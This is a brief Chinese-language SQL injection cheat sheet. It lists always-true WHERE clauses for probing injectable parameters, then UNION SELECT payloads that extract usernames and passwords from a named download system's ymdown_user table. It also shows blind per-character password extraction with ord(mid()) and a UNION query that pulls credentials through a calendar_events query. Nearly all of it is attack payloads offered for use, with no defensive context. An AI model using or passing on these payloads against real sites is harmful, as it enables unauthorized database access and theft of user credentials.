常用查询测试语句，
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END

例如：夜猫下载系统1.0版本

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 （替换，寻找密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 （验证第一位密码）
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 （第二位）

构造语句：

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
